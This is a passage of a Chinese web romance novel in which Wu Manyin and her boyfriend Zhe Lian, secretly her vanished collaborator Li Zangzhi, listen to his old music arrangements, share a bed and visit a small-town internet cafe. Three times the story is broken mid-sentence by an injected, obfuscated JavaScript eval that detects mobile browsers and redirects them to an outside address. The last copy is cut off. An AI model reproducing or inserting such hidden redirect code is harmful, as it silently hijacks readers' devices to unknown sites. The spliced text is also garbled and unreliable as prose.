李忘之被气成河豚走了。 对同胞妹妹都如此,可他什么时候……变成了会给乌曼因顺手带杯水的模样。 这毛病是什么时候养成的? 哦,想起来了。 因为乌曼因总是躺着囔囔,“李藏之,我累死了,帮我带杯饮料嘛”、“李藏之,你亲爱的室友好像有点病了”、“李藏之……”,并附上湿漉漉的小鹿眼睛。 他烦不胜烦,只好合上书,黑着脸起身出门帮乌曼因带水带药。 因为乌曼因是酒吧的摇钱树,没有她出台酒吧就会营收下降,营收不好就可能倒闭,倒闭了他就很难找到下一家有水有电的空房间,所以他得保证这颗摇钱树的基本需求。 逻辑链很完整,折敛这么说服自己。 不知从什么时候开始,就算乌曼因不嚷嚷,他也会顺手给她带杯水,就像呼吸一样自然。 等他反应过来时,已经连她喝酒喜欢加柠檬汁、讨厌碳酸饮料、喜欢吃辣但只能吃微微辣这些细节都记得一清二楚。 底线越来越低,照顾她就成了习惯。 乌曼因笑着接过水,顺手就拽着折敛的袖子把他往身边拉。折敛别别扭扭地坐下。 见折敛不反抗,乌曼因得寸进尺地继续靠在他身上,拽着他的袖子给他展示。 “这是我很久以前换的屏保哦。”电脑的小屏幕壁纸很有年代感的日漫帅哥,系统是很久以前的XP,乌曼因不适应地晃晃鼠标,挪到桌面唯一一个文件夹上。 点开孤零零的文件夹,里面整整齐齐排着几十个音频文件。她随手打开一个,等了半天却没声音。 “怎么回事?”她直接转头求助大师,“折敛……” 折敛都不看她的小鹿眼睛:“没音响,你得外接一个音响或者耳机。” 乌曼因默默地翻转,看了看iPhone屏幕,以及它上面的3.5mm耳机孔。 在那个年代,iPhone还没有万恶地带头取消耳机孔,现在的她什么都有,就是没有3.5mm耳机线。 “蓝牙行不?”她不死心地问。 “不可以。” 老电脑主板哪有那么时髦的功能。 乌曼因撇撇嘴,小机灵鬼最后用微信把文件传到自己手机上。 “要一起听吗?”她摇摇手机,“我给你外放?” 折敛愣了一下。 他看着她近在咫尺的脸,突然想到要是她跟别人也这么亲密地讨论他的作品,他会阴暗地发疯。 偏偏这个人是他自己。 折敛只能别扭地“嗯”了一声,摇摇头:“手机外放会损失细节,带耳机吧,我可以的。” 伸手去接她递来的耳机。 折敛知道自己只能听个响,乌曼因也知道折敛只是听个响。 但是小情侣嘛,就是做什么事情都要黏在一起。 何况他们两人现在又不工作、孤男寡女在千里之外旅游,四舍五入就是度蜜月哎。 乌曼因的手指专心地把耳机线捋顺,微卷的发梢扫过他的手腕。 “你往这边坐点,”她拍拍他,“线不够长呢。” 大概是刚才的奔放版折敛体验期过了,现在又是保守版折敛。 折敛不适应地挪了挪,两人的膝盖碰在一起,乌曼因的右手悄悄覆盖在他的左手上。 耳机里传来沉默的空响电流麦,过了一会儿,是熟悉的旋律。 这首曲子的来源是乌曼因在十年前圣诞唱的demo。 折敛悄悄观察乌曼因的神色,不知道她还记不记得。 经过编曲后的曲子会呈现出不一样的听感,同一段旋律经过交响乐式的编曲和DJ式的编曲风格截然不同。 李藏之的编曲风格,十分独特。 通常只用三四道Track,就能构建极其立体的音轨。 所有编曲的目的都是服务于主旋律,李藏之把这条道路发展到了极致。 用游戏圈子打比方,他是大师级的C,王者级的辅助。 听到第一段的后乌曼因意识到,这些就是真音姐心心念念想要的、李藏之留下的曲子。 每一个节拍都踩在她精准地踩在她心尖上。 旋律是她写的,她当然喜欢自己的歌。 李藏之的编曲更是赋予了它们陌生又亲切、全新的灵魂。 乌曼因忍不住跟着节奏轻轻晃脑袋,手指轻轻打着拍子。 看她轻快的表情就知道十分喜欢。 折敛露出一个不易察觉的细小笑容,又很快消失。 他闭上眼,把手扣在自己的助听器上。 玄妙丰富的音节在他耳边穿过。 曾经他能敏锐捕捉到蝴蝶振翅,并为它准备最配合的风和花叶。 乌曼因坐在乱七八糟的电子器械中间,抱着一把旧吉他即兴弹唱。而他总是安静地坐在旁边,把那些零散的旋律记录下来,将那些零散的灵感变成完整的曲子。 如今他只能看到那只蝴蝶。可世界上所有听力正常的人都能看见。 就算戴着助听器,这些细腻的音色变化对他来说也不过是模糊的杂音。双耳听力三级残疾,补偿后也只能达到堪堪正常交流的水平。 果然还是,做不到了。 等这首曲子播放完,乌曼因坐直身体。 “这些是我要找的那个朋友以前和我一起写的曲子,”乌曼因说,“太好听了,就是听完了感觉好冷,估计是在冬天写的歌,主旨是抱怨天气太冷,和现在的气温不太搭。” 折敛想,可不是嘛,那年圣诞下了很大的雪,两个人差点在杂物间被冻死。 “这些歌能让你的事业更上一层楼吗?”折敛轻声问。 “啊……?”她盯着屏幕上闪烁的音轨波形,才想起来自己对折敛随口说的借口,顿时有种被粉丝催着上进的心虚感,“当然可以啦……” 可以个鬼。 她是来找李藏之的人的,怎么先找到歌曲了? 顺利的有点超乎她的想象,就像是李藏之刻意留给她的东西。 这就是吧……她随意点开其他几个磁盘,全部崭新得跟刚买似的,就桌面上一个孤零零的文件夹比灯泡还显眼。 她玩过最弱智的游戏都没给过这么明显的提示! 李藏之是不是把她当傻子? 那些曲子确实大部分是她写的旋律动机没错,可更是李藏之的心血。 她脸倒还没有大到写个大纲就觉得李藏之端出的成品是她的。 现在那人就这么轻飘飘地把它们全扔给她,连个面都不肯露,李藏之怎么可能是这种做好事不留名的人,他心眼跟针尖一样小,欠他两块钱他咬你两口都正常。乌曼因越想越心慌,总觉得这架势像在交代什么临终托付。 折敛哪里知道乌曼因的心理活动,听到她肯定的答复后就松了一口气。 越想越觉得前途光明。 这才短短几个小时,他就习惯了与乌曼因的亲密。 现在乌曼因说话时回无意识靠过来肩膀,思考时爱拽他的袖口。这种亲密像会上瘾的糖果,尝过甜味就再难忍受原先克制的社交距离。 他是男朋友,他理应做男朋友应该做的事。 折敛在心里反复确认这个新身份。 这么想着,他伸出手去,鼓起勇气想要完成情侣间更亲密的下一步。 指尖刚要碰到乌曼因发丝…… 突然就见乌曼因突然拍案而起,大喝一声:“我就不信了。”然后旋风般冲进了自己卧室。 折敛:“……?” 他目光落在空落落的身侧,彻底困惑了,这人不是刚才很高兴的吗? 女人心真是海底针。 …… 过了会儿,折敛抱起酒店送来的睡衣,就往浴室走去。 浴室里蒸腾的热气很快模糊了镜子,折敛站在花洒下,让热水冲过肩膀。洗干净点,乌曼因应该会喜欢……他耳尖发烫。 他刚洗完澡,带着新鲜的水汽,发尾微湿,换上了酒店里准备的睡衣。 领口有些大,露出一节锁骨。 折敛在乌曼因房门前犹豫了几秒,轻轻推开了没关严实的门。 里面传来一个陌生女人冷静的声音:“根据民法典第……” 接着是乌曼因不耐烦的:“行了行了我知道了……” 乌曼因正盘腿坐在床上,带着耳机,一边听歌在和律师讨论怎么才能合法合规地找一个没血缘关系的人,闻声抬头一看,险些被美色眩晕。 水珠从折敛的发梢滴落,划过脖颈,最后消失在衣领深处。 她张了张嘴:“……你床不是在外边?” “我来找你睡觉。” 他说得如此自然,仿佛这是再普通不过的睡前流程。 好像他们已经交往了一年,而不是一天……不对,似乎才只有一个小时。 他走进来坐在床沿,那件睡衣领口大得过分,随着他微微俯身的动作,几乎能看到若隐若现的胸膛。 “等等等等,”乌曼因手忙脚乱把电脑视频电话掐断,开始慌不择言,“我还没洗澡呢。” 乌曼因感觉自己的脸烫得能煎鸡蛋,特别是当折敛难得露出半截小臂,穿得又保守又勾人。 一时间都没办法沉浸在音乐中伤春悲秋了。 这凝聚了曾经友谊的歌曲真……唔,真白真涩啊…… 折敛“哦”了一声,乖巧地说:“那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323458|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去洗吧,我等你。” 他的手指无意识揪着睡衣下摆,显然内心也不比表面上平静。 乌曼因晕晕乎乎地抓起睡衣,不明白自己的床怎么就要分出去一半。 等卫生间门关上,乌曼因才从美色的诱惑中回过神来,折敛不会真的第一天就想做到这种程度吧。 等她磨磨蹭蹭吹干头发回来,发现折敛已经端端正正地躺在床的一侧,双手交叠放在腹部,像个等待检阅的士兵。 见她进来,折敛局促地坐起身:“我可能……不太会,如果我冒犯到你了,你跟我说。” 他的声音越来越小,最后几个字几乎含在嘴里。 他紧张得有些倒反天罡,明明外面还有一张床来着。 乌曼因抱着从家里顺来的枕头站在床边,意识到他们可能对“恋爱进度”的理解存在严重偏差。 她的思维还停留在多了一个肤白貌美的男朋友,本质上和小女孩得到了喜欢的洋娃娃一样。 “你要不,今晚睡外面?”她试探着问 “为什么?”折敛坐在床上,有些急切,“为什么第一晚就分床睡,是我做的不好,你不想要我了吗?” 他的眼睛在昏暗的床头灯下显得格外朦胧且勾人,像是蒙了一层水光。 乌曼因差点被他的逻辑带跑。 垃圾电视剧毒害青少年。 见折敛眉头攒着,深色瞳孔里浮动着受伤的神色,乌曼因觉得被他看得缴械投降,期期艾艾:“当然要当然要……” “那我们不分床,行吗?” “呃,分床不是不要你……” 折敛不信,脸色更加仓皇了。 “一张床就一张床你别哭……” 见折敛依然不放心地看着她,乌曼因只能以拖待变:“要不,你先睡?我再听听歌?声音放小点,不会吵到你的。” 折敛的眼睛亮了起来,他说:“我也不会吵到你的。” “嗯……嗯?” 得到她的准许后,折敛很轻地挪到被子里面,小心翼翼保持着二十公分的距离,躺在她对面。 他卸了助听器放在枕边,像是把软肋上交,展现出全然无害的姿态,躺下后就再没动静。 乌曼因戴上耳机,听了许久。她偷瞄身旁挺尸般的折敛,发现他不仅没有要亲近的意思,反而一接触到她的目光就不自觉偏移。 “?” 是这样的吗? 不应该脱下衣服,露出锋利的身形勾引她,难道是某种欲拒还迎? 折敛受不了她奇怪的打量,最后干脆整个缩进被子里,只露出个发顶:“我要睡了,晚安。” “那、我也睡了?”她试探着问。 折敛迷茫地眨眨眼,又把被子分给她了一点:“晚安。” 然后就闭上眼,继续睡。 乌曼因等了半天,也不听歌了,按下暂停键。她扯了扯嘴角,躺下,望着天花板上的水晶吊灯。 做了半天心理准备,就这? 你刚才说的冒犯到我,莫非指的是和我抢被子吗? 乌曼因扯了扯属于自己的半边被子,不明白自己想要的纯纯恋爱怎么在床上实现了。 折敛要是有动作的话,她还得斟酌一下,毕竟虽然喜欢折敛的脸和声音,但到底两人只认识几天,乌曼因认为这属于夹生饭,还需要培养培养感情。 但问题是他非得跑过来和她挤一张床,温和的吐息就在耳边,又没有下一步行动。 乌曼因就不得劲了。 上不去又下不来,整个人卡那儿了。 她在心里把垃圾电视剧的编剧骂了八百遍,连广电的审核标准都迁怒上了,最后在这样诡异的氛围里迷迷糊糊睡去。 月光透过纱帘在地毯上流淌。 确认身旁传来均匀的呼吸声后,折敛悄悄睁开眼。 乌曼因睡相意外地乖,蜷缩的姿势像只猫,一缕头发黏在嘴角随着呼吸轻轻起伏。 他轻轻撑起身子,把她忘记摘掉的耳机拿开,歌曲停下,借着月光打量乌曼因的睡颜。 原来她只有这么小一团,肩膀还没他的手掌宽,他以前总觉得她很高大,能单手拎起沉重的琴盒,能站在暴雨里唱两个小时歌。 此刻蜷缩在被子里的身影却脆弱得像片雪花,仿佛下一秒就会融化。 眉头皱着,有什么烦心事吗? 他盯着看了很久很久,看到月影偏移,才意识到自诩聪明的自己走了多久的弯路。 还得乌曼因来提醒他,太不应该。 人类社会会给予“一辈子”承诺的,不就是夫妻吗。 他应该要和乌曼因成为夫妻。 这样多好,他满足地抱着被子沉入梦乡,似乎能闻到另一端淡淡的香气。 他怎么现在才意识到还有这个方法,让乌曼因永远不离开他的方法。 乌曼因在睡梦中无意识地向温暖源靠近,终于将额头轻轻抵在了折敛的肩头。 而另一个熟睡中的人翻了个身,手臂自然而然搭在了她的腰间。 31. 时代网吧 乌曼因想要带折敛大吃一顿的计划终止于折敛的赖床。 清晨的阳光洒进房间时,乌曼因率先睁开了眼睛。 她习惯性地想要翻身,发现自己的手臂正搭在折敛的腰间。 抬头就是折敛稚气的睡颜,偏长的碎发遮住了眼睛。 乌曼因:“!!!” 瞬间清醒。 仔细一看,发现罪责在她自己,可怜的折敛睡在自己的半边,缩得小小的,再往外躺一点就掉地上了。 而她张牙舞爪,毫不客气地把折敛当自己的大抱枕。 另外半边床格外宽敞,一晚上都没人光顾。 一个套间两张床,他们两人只睡了半张,酒店应该退她四分之三房钱。 乌曼因心虚地爬起来,轻手轻脚地给折敛团好了被子。 折敛的眉头微微皱起,但很快又舒展开来。他迷迷糊糊地抓住被角,乖巧地把自己塞好,睡得很香。 假装无事发生。 乌曼因照常刷牙、洗漱、护肤,还跳了一套健美操。等她做完这一整套晨间流程,时间已经过去了半个小时,而折敛依然毫无动静。 第一次叫他的时候。 床上的人微微动了动,睁开朦胧的眼睛看了她一眼,看清楚她是谁后,又迅速闭上:“再等会,我马上就起床……” 第二次叫他的时候,乌曼因顺手拉开了半边窗帘。 折敛像被阳光烫到似的,整个人往被子里缩了缩:“很快、很快就起了,在穿衣服了……” 最后乌曼因掀了他的被子:“不是,你这个年纪你怎么睡得着觉的啊。” 他才揉着眼睛抱着被子坐起来,半睁带着水意的凤眼,用着很可怜的声音说他经常工作到半夜,难得能睡一次好觉,就算躺下了也经常因为突发状况把他叫起来继续干活…… 那个可怜样,好像她把他叫醒是件十分的不人道的事情。 乌曼因信了,总感觉经常在网上刷到博士们类似的控诉,脆弱的心灵,牛马的人生。 听上去就好惨,简直跟她同病相怜。赚得还没她多。 乌曼因也曾经历过这种早上睡不醒的日子。当年在酒吧驻唱时,经常工作到凌晨三四点,没办法只能早上补觉。 后来就习惯了,还是真音姐看不下去,硬是盯着她把作息调整过来。 当然,主要是后来她有钱了,可以任性一点了。 看着没毕业的小可怜男友,就好像看见了以前打工的自己,乌曼因又心软了。 “那……再睡半小时?”她试探着问。 折敛立刻卷着被子又躺了回去,动作快得让人怀疑他刚才的迷糊是不是装的。 乌曼因:“……” 这一心软直接导致时间又过了一个小时,等到乌曼因把李藏之留下的音频都盘得差不多了,折敛才慢吞吞地从床上爬起来,换下睡衣。 他边打呵欠边问:“今天吃什么,我好饿。” “我一直醒着,我更饿。”乌曼因慢悠悠地说。 这阴阳怪气的语气,吓得折敛立马完全清醒了,用他那聪明的脑瓜回想自己早上干了什么,越想脸越白。 平常作威作福惯了,作为单位一霸,所有人都拿他没办法,从不强迫他早上上班,赖床的坏习惯一时间改不过来。 还好本能下仅存的智商认出了乌曼因,没有发起床气。 就算再没常识,也知道男朋友当成这样是要浸猪笼的。 他咽了口唾沫,垂头看着脚尖,小心翼翼地说:“对不起嘛。” 恍惚想起以前总有嘴碎的男人带着一身恋爱的酸臭味,向他传授经验,说什么谈了女朋友后道歉就成了本能,不用学的。 折敛以前不信,他多自傲一个人,想让他主动道歉,下辈子吧。 但现在是自傲的时候吗。 他主动靠过来,生生把他那双微翘的凤眼睁成了狗狗眼。 想说什么又发现自己没什么筹码,这不是只能道歉了吗。 从来都是学神的折敛深刻意识到,自己在以色侍人这条路上还有很多东西要学。 生怕乌曼因在还没学成之前先把他退货了。 乌曼因没当回事,折敛那小卡拉米段位在她眼里不值一提,貌美弟弟带着鼻音撒娇更是别有一番风味。 就琢磨,难怪每次见折敛都是下午或者半夜,原来是因为早上根本起不来。 她把手里的耳机一丢:“我们现在去吃大餐吗?” 折敛仿佛忘了自己昨天吃穷乌曼因的雄心壮志:“昨天楼下看到酒店自带的自助餐厅好像也很不错,入住可以免费吃……” “……”乌曼因看他一副想要将功补过的模样,“你还真是给我省钱。” 是不是太居家贤惠了,当她男朋友其实可以任性点。 她好想给小男朋友花钱。 第一次谈这种类型的贫穷美人,没什么主见,很好摆弄的样子,这时候当然要当作成男BJD好好私养…… 为什么一直花不出去…… 折敛说:“我听范略说,你给他投了很多很多钱。” “呃,“乌曼因莫名有种底裤被扒的心虚,“是投了不少啦。” “所以不用给我花很多的,”折敛小声说,“我自己也有赚钱。” 乌曼因抬手拍拍他垂下的头:“你听范略瞎说什么,他就是习惯性卖惨顺便把我带上了。我警告你,你别傻乎乎听信范略的话,上次有人就是听感动了,自掏腰包二十万给剧组包饭。你要是被他骗了出去可别说是我男朋友。” 折敛眼睛亮了起来:“……我还可以是你的男朋友吗?” 乌曼因哭笑不得:“你别这么没有安全感啦,我又不是谈一天就分的渣女。” 怎么也是谈半年才分的渣女。 折敛可不知道她的潜台词,他忽然就抱住乌曼因,低下头蹭了蹭她。 乌曼因被他的动作弄得脖子痒痒,先是感叹折敛对她的感情真是纯粹,以及她是不是真的看上去很贫穷。 连男大都养不起的那种贫穷。 然后就听见折敛问:“……怎么样才算是被范导坑?” “……你不会已经踩进范略坑里了吧?” “不算吧,”折敛缩了缩脖子,“他问我有没有声学相机以及其他一些设备,我说声学所有,他问我能不能有偿借用,我觉得无所谓,不弄坏的话可以随便用,给他写了张条子让他去所里选。” “……” 让范略随便选跟放老鼠进米仓有什么区别? 她推推折敛。 突然觉得蠢蠢的男朋友也不是非要不可。 “回北京后,你还是多去所里转转吧,”乌曼因真诚地建议,“别到时候回去发现家被偷了。” 折敛:“?” …… 自助餐就自助餐吧。 餐厅在酒店三楼,装修得金碧辉煌。所幸这家是评分不错的五星级酒店,所有菜品很真材实料,水煮白菜都显得十分高端。 等在酒店的自助餐厅吃完午饭,都已经下午了,折敛见她打开了打车软件,一副想要出门的样子,有些疑惑: “……不是已经找到了曲子,还要去哪里吗?” 乌曼因不好对折敛说“我找的不是曲子而是人是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323459|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他抓出来揍一顿”,只好说:“当然要找啦。不问自取是为偷,总得得到他的授权才能使用这些曲子吧。你要和我一起去吗?” 有道理。 折敛若有所思,是他百密一疏。 乌曼因在地图上定位了一个网吧。 她给折敛介绍:“这个网吧以前我经常去,我去那里找找线索。” 折敛:“……” 这人为什么直觉那么准? ……话说那破网吧还没关门吗?这么能活? 折敛的脸色不是很好看。 理智告诉他应该别跟着,他在黄钟县多少是个名人,要是被认出来那多尴尬。 但作为一个纯粹的赌徒,乌曼因和庞清全部没认出他足够让他赌一把。 时代网吧是乌曼因本人最爱去的地方。 作为一个曾经的非主流鬼火少女,逃学网吧KTV,那可真是样样精通。 在参加李藏之的音乐补习班之前,乌曼因的日常基本是晚上上班,白天除了睡觉、就泡在网吧消磨时间。 很颓废很中二觉得自己无敌的帅。 时代网吧是李藏之带乌曼因去的。 李藏之不喜欢人多的时候出门,乌曼因就在凌晨用食物为诱饵,求着一晚没睡的夜猫子李藏之出门当导游。 乌曼因一口把豆浆吸到见底,看来是真的饿狠了。 李藏之默默地把自己的豆腐包分了她一个。 “我在火车站旁边卖了两天唱,就没吃一顿饱饭,”她打了个嗝,“老板出差路上捡的我,说我唱歌还不错,过来就给包吃住。” “住杂物间也能叫包住?” “我敲了他一点租房补贴,虽然不多,但足够我的网费了……这附近有没有不查身份证的网吧,等等,我好像已经成年了。” 乌曼因说着忽然兴奋起来。 她拍拍胸脯:“你随便推些好点的网吧。” 李藏之露出了一些奇怪的神色,要是乌曼因对他再熟悉一点大概就明白神色大概是“上网为什么还需要网费”之类的意思。 看在她给他买早饭的份上,李藏之还是尽职尽责地给她带到了一家小破门面前:“这家的配置最好,其他网吧用的AthlonX2,这里用的是Core2,有几台高端机升级了DDR3的内存……” “停,”乌曼因打断自己听不懂的东西,“你就说这个网吧生意好不?” “当然,”李藏之说,“附近有一所初中一所高中,每天晚上都爆满。” “网吧就建在学校旁边,这不好吧?”乌曼因问。 “县城就这么点大,再远也远不到哪里去,”李藏之说,“而且警察局就在附近。” “在哪里?” “酒吧对面。” 乌曼因前天晚上才到这里,不太熟悉周围环境。 没想到黄钟县的布局如此神奇。 她沉默了一会儿,感叹道;“难怪我们酒吧还挺正规的,黄钟县治安真好。” 她在北京的夜场里经常有递药的,这里都没看见,她还以为是乡下地方没有潮流的作死方式呢。 今日份地狱笑话。 李藏之“唔”了一声,不予置否。 觉得哪天黄钟县治安忽然变好,一定是因为他被抓了。 …… 乌曼因带着折敛一下车,就被眼前潮流的门面、五彩的灯带镇住了。 哪怕是太阳最刺眼的白天,所有的建筑都显得灰蒙蒙的,这家网吧依然格外引人瞩目。 和她记忆里的老破小网吧完全不一样。 再看名字,“时代网……咖”? 32. 踏破铁鞋无觅处 老掉牙的网吧现在看起来高端得一个小时能收她三百,好像彻底主理人化了。 老板不会换人了吧,乌曼因心里嘀咕,推门而入。 推门瞬间,混杂着冷气、泡面和键盘敲击声的熟悉感觉扑面而来。 乌曼因鼻子动了动,悬着的心突然就落回肚子里。 那股烟味真是十年如一日。 她骨子里还是那个从县城酒吧爬出来的姑娘,喜欢热闹繁杂的喧嚣,喜欢烟火气。 她眯着眼环顾四周,里面的设备已经全部鸟枪换炮。 发黄的墙壁现在重刷了白漆,贴满了电竞战队海报,油腻腻的塑料椅全换成了电竞椅,机箱清一色透明侧板配五彩风扇。 网管是个染着蓝发的年轻人,耳朵上打了一排耳钉。 “这网吧开了有十年了吧,还在呢?”乌曼因把身份证递过去,问出了折敛也很想问的问题。 “有名嘛,游戏氛围独一份,”网管说,“老板也舍得花钱,去年刚翻新。” 乌曼因打量:“是挺漂亮的,名字都改成网咖了,紧跟时代潮流。” 网管看看身份证上的名字,又看看带着鸭舌帽的乌曼因,再摸出手机搜索,“乌曼因长什么样”。 搜到了结果,他手指头开始哆嗦:“乌乌乌乌乌乌乌乌乌……” “?你别哭啊。” “乌曼因?!”网管的嘴终于找了回来。 “哦,你叫我啊。”乌曼因抬了抬自己的鸭舌帽,做了个嘘声的手势,“小声点,我可不想被围观。” 网管点头如捣蒜,手忙脚乱地递过手机:“那能和我拍张合照吗?” 乌曼因特自然地接过手机,胳膊一伸搂住他肩膀,“咔嚓”来了张自拍,蓝毛在照片里笑得像春花一样灿烂。 网管绷着笑脸把身份证还回去:“老板总说很多年前,乌曼因也经常在这里打游戏,我还以为他瞎说呢。” 看看来还是那个爱吹牛的抠门老板。 乌曼因撇撇嘴:“以前是经常来这儿玩,但你老板可看不起我了,他说不和菜鸡玩。” “对对,”网管忍不住附和,“老板是这样的。” “明明自己更菜。” “太对了。我让他别送,他说狗别怂。” 吐槽完,乌曼因问:“他现在在店里吗?我找他有点事。” 网管小声说:“不在,省城俞雅开演唱会,他追星去了。” 乌曼因:“……” 居然去听和她不对付的家伙的演唱会。 没眼光的老东西。 正说着,她的目光被前台附近的照片墙吸引。 那里挂着几张照片,写着某某年OBZ战队获得S赛冠军,其余全都是同一个年轻选手与网吧的合照。 由于冠军选手的存在,这网吧在电竞圈里大概挺有名,大家来这里打游戏相当于圣地巡礼了。 网吧还没倒闭原来是有场外因素加成。 选手Quantum。 乌曼因偶尔会看下LPL,但是由于工作太忙,看得不多,她知道Quantum,外号“全吞”,是个国内比较罕见的强力中单。 打发时间看比赛的时候她真没想过两人其实在同一个网吧里打过游戏,可能只隔了几个位置。 她终于从记忆旮旯里找出对这个选手的印象,和一个总是会来看他们演出的沉默少年对上了号。 南吕的男朋友。 他经常来这里打游戏,游戏打得很好,很小的时候就利用打游戏来赚钱,代打、陪玩、打金,什么都干。 未成年进网吧……只能说是那个狂野年代的基操。 如今俱乐部青训都得被未成年条款限制得不能上场了。 乌曼因从一张角落里的旧照片里看到了南吕。 少女时期的南吕穿着白裙子,站在Quantum身边,两人之间隔着一拳距离,却莫名透着亲昵。 乌曼因手指擦过相框。 这么多年了,终于修成正果。 是个好故事。 不过记忆里好像Quantum也比南吕小来着。 咦……她为什么要说“也”? 乌曼因转头和一直没说话的折敛感叹:“你看我们黄钟县真是人杰地灵,打游戏都能打出个世界冠军。” 谁跟你个北京人是“我们”。 折敛轻哼一声,在他的世界观里没有电竞这个职业选项:“你比他成功多了。” 咳,这话说的,乌曼因被美到了。 “行行出状元嘛,”乌曼因咳嗽两声,让自己别太飘,也提醒折敛这个毒唯粉丝收敛点,他以前带我打过游戏,人很不错的。” 正想再回忆两句,蓝毛突然插话:“你认识Quantum吗?那很巧了,他最近就在黄钟县。” “认识啊,不过不太熟,我认识照片上这个女孩子,她叫南吕,南吕你认识吗?” “Quantum女朋友?她当然也一起回来了,就在楼上。” “……” 话音未落,楼梯处传来脚步声。 乌曼因转头,看见一个穿淡黄色连衣裙的女人正从二楼走下来。那人与照片里的少女轮廓相似,但眉眼间多了几分成熟与从容。 南吕的头发剪短了,刚好到肩膀的长度,发尾微微内扣,衬得她脖颈修长。 想见的见不到,不想见的人随随便便就出现了。 四目相对的瞬间,对方扶在栏杆上的手指猛地收紧。 “曼因姐?”南吕才看清了前台前站着的人,脚步微顿。 要不怎么说她心理素质好呢,乌曼因秉持着“只要我不尴尬,那尴尬的就是别人”的理念,张开双臂大步走过去:“好久不见!” 好像过去的龃龉从来没存在过一样,给了南吕一个爽朗结实的拥抱。 南吕:“……” 乌曼因比她高半个头,直接把她整个人罩住了,好大的手劲,是不是想要暗杀她。 好气哦,但还是要保持成年人的体面。 她求救的目光转向网管,蓝毛网管觉得这旧友重逢的一幕十分感人; 转向站在另一边的男人,那人长得很好看,但明显和乌曼因是一伙的,束着手,无动于衷…… “这位是?”南吕终于找到个话题转移视线,赶紧把自己解救出来。 “我男朋友,折敛,”乌曼因松开胳膊,拽过折敛的手腕,“怎么样,帅吧?” 听到乌曼因介绍后,南吕微微张口。 这个被拉过来的青年有一双很漂亮的眼睛,莫名有点熟悉。 南吕有些惊讶。 折敛的目光垂落到两人交握的手上,又慢慢抬起,对南吕露出一个僵硬而疏离的微笑。 碍眼。 和庞清一样碍眼。 以他和南吕的关系,这个笑容实属尽力后的结果。 他要还是李藏之,南吕现在已经转身跑了。 南吕被他盯得后背发毛。 帅是帅的……但总觉得有什么不太对劲。 一时间都顾不上和乌曼因微妙的关系,南吕把乌曼因拉到一边:“你不要李藏之了吗?” “?”乌曼因一脸懵逼,“我怎么不要了,我现在正在找他啊。” “所以你找了新欢,他离家出走了?” 空气凝固了三秒。 “我找男朋友和他什么关系?”乌曼因不是很懂南吕的脑回路。 “难不成……你想左拥右抱,让李藏之当小?”南吕被自己的脑补震惊了,压低声音说,“我劝你别搞,他真的会弄死人的。” “?” “?” 乌曼因的表情从困惑逐渐演变成“你脑子是不是被门夹了”。 鸡同鸭讲后,两人面面相觑。 乌曼因终于想起来,当年全国比赛得奖后,南吕就回家处理家事,根本不知道后来李藏之失踪的事。 而且南吕当时也不太想面对她,给她打电话没说几句就会挂掉。 乌曼因很识趣,感受到南吕的疏离后,她干脆地切断了和南吕的一切联系。 像毕业就失联的同学,天各一方。 所以南吕一直以为李藏之是跟着乌曼因走了,大概被乌曼因养了起来,成为了成功女人背后的男人。 想通后的乌曼因:“……” 她倒比较希望当年是这个走向。 乌曼因无奈,三言两语给南吕速通了一下李藏之跑掉的事,顺带提了嘴自己正在满世界找人。 只不过因为时间已经过去了八年,找起来跟大海捞针似的,好像谁都认识李藏之,但谁都没见过现在的李藏之。 到现在连根头发丝都没捞着。 话音刚落,南吕“噗”地一声,情不自禁脱口而出一句“太好了”,嘴角疯狂上扬又拼命往下压,尽管能看出主人在努力控制,但根本藏不住满脸的幸灾乐祸。 [派出所、两警察、憋笑].jpg 见乌曼因用死亡凝视看着她,南吕连忙找补:“啊、不是,我是说,太遗憾了。” 乌曼因:“……” 您这遗憾的表情跟中了五百万彩票似的。 听不清她们说话但能看到脸色的折敛:“……” 直觉不是好话。 择日不如撞日,今天晚上就去收拾南吕吧。 南吕刚才笑得呛进气管了,好半天才收拾完心情。 她抬手揉了揉笑得发酸的脸颊,整理了下被自己抓皱的裙摆,才道:“如果你要找李藏之的话,我可能恰好有一点线索。” 乌曼因十二分惊讶。 就跟忙碌劳作了一天回家看见兔子撞树墩上了一样。 不是不信,就是……这意外收获来得也太意外了点。 以这两人的关系,后来还有联系的可能性,堪比南吕以为的她和李藏之好上。 就是根本没有可能嘛。 南吕刚刚才知道李藏之失踪的事情,她能有什么线索? 南吕见她不信,歪了歪脑袋:“你知道我爸入狱的事情和李藏之有关,对吧?” 听到这事,脸皮厚如乌曼因不吱声了,眼神乱飘,有点心虚。 自家养的比格发疯干了点小坏事,主人虽然知道不是自己干的,但也不能说毫无责任。 好在时间能冲淡所有爱恨。 南吕看上去没什么情绪,毫不避讳提起当年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 